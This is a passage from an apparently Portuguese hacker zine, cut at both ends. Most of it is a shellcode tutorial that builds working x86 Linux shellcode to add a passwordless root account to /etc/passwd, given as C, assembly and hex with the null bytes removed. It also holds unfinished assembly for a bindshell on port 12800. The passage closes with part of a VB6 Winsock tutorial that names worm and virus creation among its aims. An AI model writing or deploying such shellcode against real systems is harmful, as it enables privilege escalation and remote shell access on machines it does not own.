shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: smmsp:x:25:25:smmsp:/var/spool/clientmqueue: mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/: gdm:x:42:42:GDM:/var/state/gdm:/bin/bash pop:x:90:90:POP:/: nobody:x:99:99:nobody:/: root@motdlabs:~/IP_FIX/shellcode# Compilando e executando... root@motdlabs:~/IP_FIX/shellcode# gcc -o cpasswd cpasswd.c root@motdlabs:~/IP_FIX/shellcode# ./cpasswd root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: smmsp:x:25:25:smmsp:/var/spool/clientmqueue: mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/: gdm:x:42:42:GDM:/var/state/gdm:/bin/bash pop:x:90:90:POP:/: nobody:x:99:99:nobody:/: ip_fix::0:0::/root:/bin/sh root@motdlabs:~/IP_FIX/shellcode# Agora temos que converter para assembly, será um pouco trabalhoso mas nada impossível! Vamos ver nossa tabela primeiro.: _____________________________________________________________________________________________ |%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' | 1 | sys_exit | kernel/exit.c | int | | | | | | 4 | sys_write | arch/i386/kernel/process.c | unsigned int | char * | size_t | | | | 5 | sys_open | fs/open.c | const char * | int | int | | | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' root@motdlabs:~/IP_FIX/shellcode# man open int open(const char *pathname, int flags, mode_t mode); [ %ebx ] [ %ecx ] [ %edx ] De posse dessas informações, vamos construir nosso código em assembly. <++> shellcode/asmpasswd.c /* * Protótipo de shellcode em ASM. * Adiciona um usuário com premissões root. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmpasswd asmpasswd.c */ #include main() { __asm__( "xor %eax, %eax \n" /* Zera %eax. */ "push $0x647773 \n" /* Movemos toda no string... */ "push $0x7361702F \n" /* ...para o stack. */ "push $0x6374652F \n" /* /etc/passwd */ "mov %esp, %ebx \n" /* Agora jogamos nossa string para %ebx: (const char *pathname,... */ "mov $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...int flags,... */ "mov $0x5, %al \n" /* System Call de open(). */ "int $0x80 \n" /* Cai pro modo kernel. */ "mov %eax, %ebx \n" /* Tudo que foi feito em open, foi para %eax, agora precisamos tê-lo em %ebx. */ "push $0x0A68732F \n" /* Movemos... */ "push $0x6E69622F \n" /* ...a outra... */ "push $0x3A746F6F \n" /* ...string... */ "push $0x722F3A3A \n" /* ...novamente... */ "push $0x303A303A \n" /* ...para o... */ "push $0x3A786966 \n" /* ...Stack. */ "push $0x5F70690A \n" /* \nip_fix::0:0::/root:/bin/sh\n */ "mov %esp, %ecx \n" /* Jogamos ela no contador %ecx. */ "xor %edx, %edx \n" /* Zeramos %edx. */ "mov $0x1C, %dl \n" /* Tamanho da string em %edx. */ "mov $0x4, %al \n" /* Nossa amável system call de write(). */ "int $0x80 \n" /* Comece o Show!!! */ "xor %eax, %eax \n" /* Zera %eax. */ "xor %ebx, %ebx \n" /* Zera %ebx pra SUCCESS. */ "mov $0x1, %al \n" /* System Call de exit(). */ "int $0x80 \n" /* Executa tudo. */ ); } <--> shellcode/asmpasswd.c Grandinho né? Apesar do tamanho repare que não foge do padrão dos códigos anteriores. Irei explicar agora algumas passagens que merecem uma certa atenção.: "mov $0x402, %cx \n" Perae, não era pra ter movido as flags O_RDWR|O_APPEND para %cx? Por que no código em C tem o número 1026 no lugar dessas flags? Rapaz, você só irá descobrir se fuçar. Meu código estava prontinho mas não conseguia rodar por causa disso, até que vi num txt o número 3074 no lugar das flags, mas fiquei me perguntando da onde surgiu isso. Bem, eu compilei o programa com as flags normais que queria (O_RDWR|O_APPEND), e debuguei. Vi logo que quando "disassembliei" a função main, a primeira coisa que era passado pro stack eram as flags, suponho que seje por motivos de segurança que as permições do arquivo sejam passadas em primeiro lugar. No meu caso apareceu 0x402 que é 1026 em decimal. Faça isso e comprove na sua máquina. Fuçe muito!!! "mov $0x1C, %dl \n" Calmae! O decimal 30 não é 1E em hexadecimal? Por que está movendo apenas 1C pra %dl? No cpasswd precisamos contar todos os caracteres para que a saída no arquivo seje perfeita (sem sujeiras) e em asm não é diferente. Mas olhe na tabela ascii que existe um códigpo para o "\n"(0A). Com isso, nosso código diminui 2 bytes. =) Vamos se tudo isso vai funcionar. :) root@motdlabs:~/IP_FIX/shellcode# gcc -o asmpasswd asmpasswd.c root@motdlabs:~/IP_FIX/shellcode# ./asmpasswd root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash ... ... ... nobody:x:99:99:nobody:/: ip_fix::0:0::/root:/bin/sh root@motdlabs:~/IP_FIX/shellcode# Sim!!! Funciona!!! Vamos sem perder tempo pegar os opcodes!!! :P <++> shellcode/hexapasswd.c /* * Shellcode pronto em hexadecimal. * Adiciona um usuário com premissões root. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexapasswd -static hexapasswd.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax,%eax */ "\x68\x73\x77\x64\x00" /* push $0x647773 */ "\x68\x2f\x70\x61\x73" /* push $0x7361702f */ "\x68\x2f\x65\x74\x63" /* push $0x6374652f */ "\x89\xe3" /* mov %esp,%ebx */ "\x66\xb9\x02\x04" /* mov $0x402,%cx */ "\xb0\x05" /* mov $0x5,%al */ "\xcd\x80" /* int $0x80 */ "\x89\xc3" /* mov %eax,%ebx */ "\x68\x2f\x73\x68\x0a" /* push $0xa68732f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x68\x6f\x6f\x74\x3a" /* push $0x3a746f6f */ "\x68\x3a\x3a\x2f\x72" /* push $0x722f3a3a */ "\x68\x3a\x30\x3a\x30" /* push $0x303a303a */ "\x68\x66\x69\x78\x3a" /* push $0x3a786966 */ "\x68\x0a\x69\x70\x5f" /* push $0x5f70690a */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb2\x1c" /* mov $0x1c,%dl */ "\xb0\x04" /* mov $0x4,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\xb0\x01" /* mov $0x1,%al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexapasswd.c Atenção nas flags de compilação. Dessa vez precisamos compilar estaticamente para funcionar. Vamos ver: root@motdlabs:~/IP_FIX/shellcode# gcc -o hexapasswd -static hexapasswd.c hexapasswd.c: In function `main': hexapasswd.c:45: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexapasswd Tamanho do Shellcode: 6 bytes. root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash ... ... ... nobody:x:99:99:nobody:/: ip_fix::0:0::/root:/bin/sh root@motdlabs:~/IP_FIX/shellcode# Sim!!! Funciona!!! :D Opa! Perae! Tem algo errado! Olhem isso: Tamanho do Shellcode: 6 bytes. Impossível um shellcode daquela proporção ter apenas isso. Ahhh, achei o problema: "\x68\x73\x77\x64\x00" /* push $0x647773 */ Aqui está o problema, um NULL byte, um simples null byte que simplesmente faz perder toda a graça de nosso shellcode :(. O tamanho do shellcode foi 6 bytes porque a função strlen() conta os caracteres até encontrar um null byte ('\0') que indica o final da string. E agora? Como resolveremos isso? Isso me deu uma grande dor de cabeça pois preenchi o \x00 com a tabela ascii inteira sem sucesso. Empilhei a string de todos os jeitos possíveis, com caracteres a mais e a menos, mas sem sucesso!!! Então pedi ajuda ao Narcotic e ele me sugeriu que fizesse o seguinte: " - Preenche o último byte com lixo e depois faz um rotacionamento com "shr" para desconsiderá-lo.". Mas como isso? Até que é simples! Confira no código abaixo: <++> shellcode/asmpasswd2.c /* * Protótipo de shellcode em ASM. * Adiciona um usuário com premissões root. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmpasswd2 asmpasswd2.c */ #include main() { __asm__( "xor %eax, %eax \n" /* Zera %eax. */ "mov $0x647773FF, %ebx \n" /* Movemos a string para %ebx com lixo (FF). dwsFF */ "shr $0x8, %ebx \n" /* Rotacionamos 8 bits (1 byte) para retiramos o FF. */ "push %ebx \n" /* Jogamos tudo para o stack. */ "push $0x7361702F \n" /* E tudo vai normalmente para o stack. sap/ */ "push $0x6374652F \n" /* cte/ */ "mov %esp, %ebx \n" /* Agora sim jogamos pra %ebx: (const char *pathname,... */ "mov $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...int flags,... */ "mov $0x5, %al \n" /* System Call de open(). */ "int $0x80 \n" /* Cai pro modo kernel. */ "mov %eax, %ebx \n" /* Tudo que foi feito em open, foi para %eax, agora precisamos tê-lo em %ebx. */ "push $0x0A68732F \n" /* Movemos... */ "push $0x6E69622F \n" /* ...a outra... */ "push $0x3A746F6F \n" /* ...string... */ "push $0x722F3A3A \n" /* ...novamente... */ "push $0x303A303A \n" /* ...para o... */ "push $0x3A786966 \n" /* ...Stack. */ "push $0x5F70690A \n" /* \nip_fix::0:0::/root:/bin/sh\n */ "mov %esp, %ecx \n" /* Jogamos ela no contador %ecx. */ "xor %edx, %edx \n" /* Zeramos %edx. */ "mov $0x1C, %dl \n" /* Tamanho da string em %edx. */ "mov $0x4, %al \n" /* Nossa amável system call de write(). */ "int $0x80 \n" /* Comece o Show!!! */ "xor %eax, %eax \n" /* Zera %eax. */ "xor %ebx, %ebx \n" /* Zera %ebx pra SUCCESS. */ "mov $0x1, %al \n" /* System Call de exit(). */ "int $0x80 \n" /* Executa tudo. */ ); } <--> shellcode/asmpasswd2.c A arquitetura intel trabalha assim mesmo, só podemos jogar até 4 bytes por vez na pilha. Repare que em todos meus códigos eu fiz o possível para sempre empurrar 4 bytes para nunca sobrar um null byte, mas nesse caso não foi possível pois a string "/etc/passwd" não é múltiplo de 4 e sempre sobrará um espaço!!! Quando houver situações como essa podemos preencher o espaço com lixo e apagá-lo com feito acima. Irei explicar melhor: A função open() nos informa de que precisamos ter o arquivo que queremos abrir em %ebx, mas antes precisamos empilhar a string no stack e depois sim, jogar em %ebx. Nessa caso, teremos que isolar a string para rotacionarmos.: "mov $0x647773FF, %ebx \n" Com ela isolada, vamos rotacionar 1 byte. O que o mnemônico "shr" (shift right) faz é rotacionar um quantidade n de bits para a direita, e como precisamos voltar 1 byte, ratacionamos 8 bits afim de se acabar com o FF. :) "shr $0x8, %ebx \n" Com essa alteração feita, agora sim podemos empurrar para o stack. "push %ebx \n" E proseguirmos normalmente com o resto. =) "push $0x7361702F \n" "push $0x6374652F \n" "mov %esp, %ebx \n" É..., o que um null byte não faz a gente fazer? :P Seja como for, sempre há um jeito para sermos bem sucedidos em situações como essa. Agora vamos compilar, testar e debugar! root@motdlabs:~/IP_FIX/shellcode# gcc -o asmpasswd2 asmpasswd2.c root@motdlabs:~/IP_FIX/shellcode# ./asmpasswd2 root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash ... ... ... nobody:x:99:99:nobody:/: ip_fix::0:0::/root:/bin/sh root@motdlabs:~/IP_FIX/shellcode# SIM!!! FUNCIONA!!! Agora vamos a caça dos opcodes! =) <++> shellcode/hexapasswd2.c /* * Shellcode pronto em hexadecimal. * Adiciona um usuário com premissões root. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexapasswd2 -static hexapasswd2.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax,%eax */ "\xbb\xff\x73\x77\x64" /* mov $0x647773ff,%ebx */ "\xc1\xeb\x08" /* shr $0x8,%ebx */ "\x53" /* push %ebx */ "\x68\x2f\x70\x61\x73" /* push $0x7361702f */ "\x68\x2f\x65\x74\x63" /* push $0x6374652f */ "\x89\xe3" /* mov %esp,%ebx */ "\x66\xb9\x02\x04" /* mov $0x402,%cx */ "\xb0\x05" /* mov $0x5,%al */ "\xcd\x80" /* int $0x80 */ "\x89\xc3" /* mov %eax,%ebx */ "\x68\x2f\x73\x68\x0a" /* push $0xa68732f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x68\x6f\x6f\x74\x3a" /* push $0x3a746f6f */ "\x68\x3a\x3a\x2f\x72" /* push $0x722f3a3a */ "\x68\x3a\x30\x3a\x30" /* push $0x303a303a */ "\x68\x66\x69\x78\x3a" /* push $0x3a786966 */ "\x68\x0a\x69\x70\x5f" /* push $0x5f70690a */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb2\x1c" /* mov $0x1c,%dl */ "\xb0\x04" /* mov $0x4,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\xb0\x01" /* mov $0x1,%al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexapasswd2.c Vamos ver se está certo.: root@motdlabs:~/IP_FIX/shellcode# gcc -o hexapasswd2 -static hexapasswd2.c hexapasswd2.c: In function `main': hexapasswd2.c:47: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexapasswd2 Tamanho do Shellcode: 86 bytes. root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash ... ... ... nobody:x:99:99:nobody:/: ip_fix::0:0::/root:/bin/sh root@motdlabs:~/IP_FIX/shellcode# w00w00!!! Sim!!! Perfeito!!! É um pouco grandinho mas funciona, lembrando-se que numa exploração de overflow podemos carregar nosso shellcode na enviroment no sistema ao invés de jogarmos dentro do buffer. ;) Galera, é isso aí... Tinha prometido para muitos que iria colocar uma bindshell aqui (desculpa dns-), mas o que me impossibilitou foi o tempo, justo quando estava terminando a bindshell eu consegui um emprego e como estudo noperíodo da noite fiquei impossibilitado de terminar... Mas abaixo segue o fonte em ASM, mas sem null bytes!!! :) <++> shellcode/asmbind.c /* * Protótipo de shellcode em ASM. * Binda uma shell na porta 12800. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmbind asmbind.c */ #include main() { __asm__( "lea main+32, %edx \n" "call %edx \n" "xor %eax, %eax \n" "xor %ebx, %ebx \n" "mov $0x1, %al \n" "int $0x80 \n" "xor %eax, %eax \n" "mov $0x2, %al \n" "int $0x80 \n" "test %eax, %eax \n" "lea main+54, %edx \n" "jne main+24 \n" "jmp %edx \n" "xor %eax, %eax \n" "xor %ebx, %ebx \n" "mov $0x1, %bl \n" "push %eax \n" "push $0x1 \n" "push $0x2 \n" "mov %esp, %ecx \n" "mov $0x66, %al \n" "int $0x80 \n" "xor %edx, %edx \n" "push %edx \n" "push $0x32 \n" "mov $0x2, %bl \n" "push %bx \n" "mov %esp, %ecx \n" "push $0x10 \n" "push %ecx \n" "push %eax \n" "mov %esp, %ecx \n" "mov $0x66, %al \n" "int $0x80 \n" "not %al \n" "mov $0x4, %bl \n" "mov $0x66, %al \n" "int $0x80 \n" "add $0xc, %esp \n" "push %edx \n" "push %edx \n" "mov $0x5, %bl \n" "mov $0x66, %al \n" "int $0x80 \n" "mov %al, %bl \n" "xor %ecx, %ecx \n" "mov $0x3f, %al \n" "int $0x80 \n" "mov $0x1, %cl \n" "mov $0x3f, %al \n" "int $0x80 \n" "mov $0x2, %cl \n" "mov $0x3f, %al \n" "int $0x80 \n" "xor %eax, %eax \n" "push %eax \n" "push $0x68732F2F \n" "push $0x6E69622F \n" "mov %esp, %ebx \n" "push %eax \n" "push %ebx \n" "mov %esp, %ecx \n" "xor %edx, %edx \n" "mov $0xb, %al \n" "int $0x80 \n" ); } <--> shellcode/asmbind.c Desculpem a falta de comentários, mas terminei um dia antes do lançamento da zine e iria demorar muito para comentas as passagens. Mas prometo a todos que brevemente estarei disponibilizando novamente esse artigo de uma forma mais decente e com mais codes (bindshell melhorada, chroot pra nãofugir do padrão. :) E também codes próprios) e depuração de shellcode enfim, esse txt foi muito corrido no final dele e não deu pra mim se expor como deveria. Peço desculpas a todos e que aguardem novas atualizações. Esses são apenas alguns links com referências sobre shellcode: http://shellcode.org/ http://www.shellcode.com.ar/ http://www.metasploit.com/shellcode.html http://www.enderunix.org/docs/en/sc-en.txt http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html http://www.siforge.org/articles/2004/01/12-shellcode_da_zero.html http://community.core-sdi.com/~juliano http://neworder.box.sk/newsread.php?newsid=10077 http://www.mindsec.com/files/art-shellcode.txt http://www.infosecwriters.com/hhworld/shellcode.txt www.firewalls.com.br/files/shellcode.pdf http://www.phrack.org/phrack/49/P49-14 www.arson-network.com/ index.php?class=tutorial&subargs=479 http://www.firewalls.com.br/files/shellcode.pdf http://www.firewalls.com.br/files/buffer.pdf www.securenet.com.br/artigo.php?artigo=3 www.id3ntlab.hpg.ig.com.br/shellcII.txt http://embranet.com/~fingu/text/shellcode.txt Aqui os principais sobre ASM: http://www.linuxassembly.org/ http://www.w00w00.org/files/articles/att-vs-intel.txt http://webster.cs.ucr.edu/ http://www.arl.wustl.edu/~lockwood/class/cse306/books/artofasm/toc.html http://www-106.ibm.com/developerworks/linux/library/l-ia.html Me desculpem a falta de organização, mas compensarei tudo na versão 2.0 desse artigo. :P Por isso nem finalizei as conclusões, aguarde que em breve estarei disponibilizando isso mais que completo. =) []'s IP_FIX. MSN: everson3000@hotmail.com ICQ: 159834122 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[06]-=[Tutorial Básico de Winsock em VB]-=|vbKeyDel|=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Índice: 1 > Introdução 2 > Adicionando e conhecendo um Winsock 3 > Conectando 4 > CHAT - Toda a comunicação é um Chat 5 > Idéia de Túnel 6 > Contato =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -= 1: Introdução =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Pré-requisitos básicos: - Para se entender é preciso que haja um mínimo de entendimento de Visual Basic 6... - É obvio que se tenha-o(Visual Basic) para poder praticar - MSWINSCK.OCX em %windir%\system32\ - Também seria interessante ter-se um Sniffer, e com ele "fuçar" e fazer seus próprios testes!, é bem interessante "fuçá-los", com eles é possível fixar de melhor forma os aprendizados aqui citados... Atualmente, a internet vem revolucionando a comunicação de uma forma incrivelmente rápida, prática, eficiente... Creio que quem lê este tutorial espera conter um conhecimento básico para se criar uma comunicação entre computadores, visando inúmeras atividades, como por exemplo: - Criação de programas Proxies - Burlamento de Firewalls - Burlamento de Proxies - Criação de WebBrowser - Criação de Worms - Criação de Vírus - Criação de Chats - Criação de FireWalls - Inúmeras idéias podem surgir de acordo com a criatividade do programador... Mas Querer não é preciso, é Preciso fazer... - "Mas é um 'bicho de 7 cabeças' isso! como faço?" Se você pensa dessa forma, passe a pensar assim: "Um conjunto de simplicidades formam uma complexidade..." Pronto!...Agora confirme e veja como é tão simples! ========================== Observações iniciais =============================== Sempre que eu utilizar este sinal(#), saiba que estou usando ele apenas para separar o código do texto... Sempre que eu utilizar este sinal(-), saiba que estou usando ele apenas para indicar algo que você tenha que fazer... Sempre que eu utilizar este sinal(>>>), saiba que estou usando ele apenas para indicar Atualização de código =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -= 2: Adicionando e conhecendo um Winsock =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - Abra o VB e crie um formulário!(FORM) - Click com o botão direito do mouse sobre a barra de ferramentas - Click em Components... - Selecione a caixa de checagem: Microsoft Winsock Control 6.0 (no nosso caso) - Aplique - Adicione o novo controle no form, agora ele deve aparecer como o tamanho indimensionável do Controle Timer... Pronto... o Winsock já pode ser utilizado Agora vamos conhecê-lo ------------------------------------------------------------------------------- OBS: Colocarei apenas os itens mais básicos e suficiente para se fazer que quiser ------------------------------------------------------------------------------- Funções: Accept -> Aceita uma conecção esperada Close -> Prepara ou reprepara o Winsock para ser utilizado novamente Connect -> Tenta se conectar com um computador que estaja esperando uma conexão GetData -> Armazena em uma determinada memória o valor atual recebido Listen -> "Escuta", isto é...abre uma porta e espera uma conecção SendData -> Envia uma determinada Mensagem para o Host Conectado Propriedades: Protocol -> pode ser (0 ou sckTCPProtocol) ou (1 ou sckUDPProtocol) LocalHostName -> Nome do seu Host(você) LocalIP -> Seu IP LocalPort -> Sua Porta de escuta RemoteHost -> Host Remoto RemoteHostIP -> IP do Host Remoto RemotePort -> Porta do Host Remoto na qual está sendo usada State -> Estado atual do Componente, que varia de 0 a 9, Listado abaixo os estados Constante -> Valor -> Descrição sckClosed -> 0 -> Padrão, Fechado, preparado para o que precisar sckOpen -> 1 -> Aberto sckListening -> 2 -> Escutando sckConnectionPending -> 3 -> Esperando pronto para Conexão sckResolvingHost -> 4 -> Resolvendo Host sckHostResolved -> 5 -> Host Resolvido sckConnecting -> 6 -> Conectando sckConnected -> 7 -> Conectado sckClosing -> 8 -> Fechando conexão("preparando para preparar conexão") sckError -> 9 -> Erro Eventos: Close -> É Executado toda vez que a conecção fechada, não é executado quando a função close é utilizada... Connect -> É Executado toda vez que uma conexão é estabelecida ConnectionRequest -> É Executado toda vez que tentam se conectar com o seu controle, apenas se o seu controle estiver "escutando"(state = 2 ou state = sckListening) DataArrival -> É executado Toda vez que (quando conectado) receber alguma informação Bom...Agora que já o conhecemo-lo, vamos ao projeto!!! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -= 3: Conectando =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Agora que já temos o controle em nosso formulário vamos fazer um pequeno WebBrowser que é capaz de exibir apenas o código fonte! - Adicione a este formulário um Textbox! - Arrume a propriedade "Name" dele como: "Text1" - Arrume a propriedade "MultLine" para: "True" - Arrume a propriedade "ScrollBars" para: 2 - Arrume a propriedade "Text" para estar vasio - Adicione 1 botão ao formulário - Arrume a propriedade "Name" para: "Command1" - Arrume a propriedade "Caption" para: "&Baixar" - Deixe o Winsock com a propriedade "Name" como "Winsock1" mesmo... Agora arrume o código do botão de tal forma que fique como o mostrado abaixo: # Private Sub Command1_Click() # Winsock1.Connect "home.uol.com.br", 80 # End Sub Bom...Agora click 2 vezes sobre o winsock...Agora Arrume o Evento Connect para ficar como abaixo: # Private Sub Winsock1_Connect() # Dim DadoAEnviar As String # DadoAEnviar = "GET / HTTP/1.1" & vbCrLf # DadoAEnviar = DadoAEnviar & "HOST: home.uol.com.br" & vbCrLf # DadoAEnviar = DadoAEnviar & "Accept: */*" & vbCrLf # DadoAEnviar = DadoAEnviar & vbCrLf # Winsock1.SendData DadoAEnviar # End Sub Agora arrume o Evento DataArrival do winsock1 para ficar como abaixo: # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Text1.Text = Text1.Text & X # End Sub Como Isso funciona: Bom... # Private Sub Command1_Click() # Winsock1.Connect "home.uol.com.br", 80 # End Sub Como Já foi dito a função Connect serve para tentar se conectar... Ela funciona da seguinte forma: Connect(Host, Porta) No nosso caso, "pedimos" para o winsock1 tentar se connectar com "home.uol.com.br" pela porta 80 Esta porta 80 serve para comunicação do protocolo HTTP, mas como queremos ver a página temos que fazer nosso pedido após acabarmos de nos conectar... porém, como sabemos que conseguimos nos conectar com sucesso? O Evento Connect do winsock é executado toda vez que conseguimos nos conectar... Graças a isso podemos fazer nosso pedido quando nos conectar da seguinte forma: # Private Sub Winsock1_Connect() # Dim DadoAEnviar As String # DadoAEnviar = "GET / HTTP/1.1" & vbCrLf # DadoAEnviar = DadoAEnviar & "HOST: home.uol.com.br" & vbCrLf # DadoAEnviar = DadoAEnviar & "Accept: */*" & vbCrLf # DadoAEnviar = DadoAEnviar & vbCrLf # Winsock1.SendData DadoAEnviar # End Sub Nosso pedido é um Dado que temos que enviar para o servidor HTTP para ele nos enviar a página... Bom...o Nosso pedido foi o seguinte: (OBS: vbCrLF = Constante equivalente a "Enter") "GET / HTTP/1.1 HOST: home.uol.com.br Accept: */* " OBS: a 1ª Linha pede para o servidor a página inicial de acordo com o protocolo HTTP Versão 1.1 , a 2ª linha confirma o servidor host que contem o nosso pedido , a 3ª linha diz para o servidor que aceitamos qualquer tipo de arquivo... , a 4ª linha, isso mesmo, o enter, é necessário para que o pedido esteja pronto...(exigido pelo protocolo HTTP versão 1.1) Bom...assim que terminamos de colocar todo esse conteúdo na nossa variável DadoAEnvar podemos fazer o pedido: Winsock1.SendData DadoAEnviar Esta função funciona da forma a seguir: SendData(mensagem a enviar) E por fim, agora temos que "saber" receber os dados do nosso Host Remoto(que em nosso caso: home.uol.com.br) Toda vez que recebemos dados do nosso Host Remoto um Evento é executado, este evento é o DataArrival... # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Text1.Text = Text1.Text & X # End Sub Para "pegarmos" a informação corrente é preciso que usemos o código a seguir, que armazenará a informação corrente em X: # Winsock1.GetData X Esta função funciona da seguinte forma: GetData (onde será aramazenado o valor corrente) assim que temos a informação temos que concatená-la ao que já "pegamos", para isso concatenamos-la como exibido logo a baixo: # Text1.Text = Text1.Text & X Agora que já entendemos como funciona em código de alto nível, vamos saber como funciona teóricamente essa comunicação pelo winsock em Visual Basic 6; ficaria como mostra abaixo...: 1º Passo: #---------------------------------------------------------# |"Eu"--------------------> Host Remoto | |---------------------------------------------------------| |Mensagem de "Eu" para "Host Temoto": "Posso me conectar?"| #---------------------------------------------------------# 2º Passo(Conectando): #-----------------------------------------------------------------# |"Eu"<-------------------- Host Remoto | |-----------------------------------------------------------------| |Mensagem de "Host Temoto" para "Eu": "Sim, Você pode se conectar"| #-----------------------------------------------------------------# 3º Passo(Fazendo requisição da página): #--------------------------------------------------------------# |"Eu"--------------------> Host Remoto | |--------------------------------------------------------------| |Mensagem de "EU" para "Host Temoto": "Me manda a página então"| #--------------------------------------------------------------# 4º Passo(Espácie de Chat): #---------------------------------------------------------# |"Eu"<-------------------- Host Remoto | |---------------------------------------------------------| |Mensagem de "Host Temoto" para "Eu": "Está aqui a página"| #---------------------------------------------------------# Como assim Chat?!?! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -= 4: CHAT - Toda a comunicação é um Chat =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Como veremos agora, você entenderá o porque desta comparação que parece-te muito "esquisita"... Imagina se por acaso...você quisesse se conectar, ao invez de um servidor, um computador de algum amigo teu? Como você não precisa de protocolo nenhum para enviar ou receber alguma mensagem, você precisará apenas se conectar...e depois como queremos dar uma utilidade ao enviar uma mensagem, que no caso queremos que ele veja a mensagem, então vamos ao projeto. Mas antes vejamos como o projeto deverá estar... - 1 programa deverá estar rodando em teu computador - 1 programa deverá estar rodando no computador de seu amigo Vamos começar pelo programa que deverá estar rodando em teu computador: - Abra o visual Basic, e etc... - adicione um winsock - adicione 3 botões - adicione 1 timer - adicione 3 textbox - adicione 1 label - Não mude o nome de nenhum controle adicionado, para melhor entendimento de nossos códigos... - Mova o Text3 para ficar próximo do Command1 - Mova o Text1 para ficar próximo do Command2 - Mova o Text2 para ficar de forma maior que os outros controles, pois nele veremos as conversas - Arrume a propriedade "Caption" do Command2 para: "&Enviar" - Arrume a propriedade "Default" dele para: "True" - Arrume a propriedade "Caption" do Command1 para: "&Conectar" - 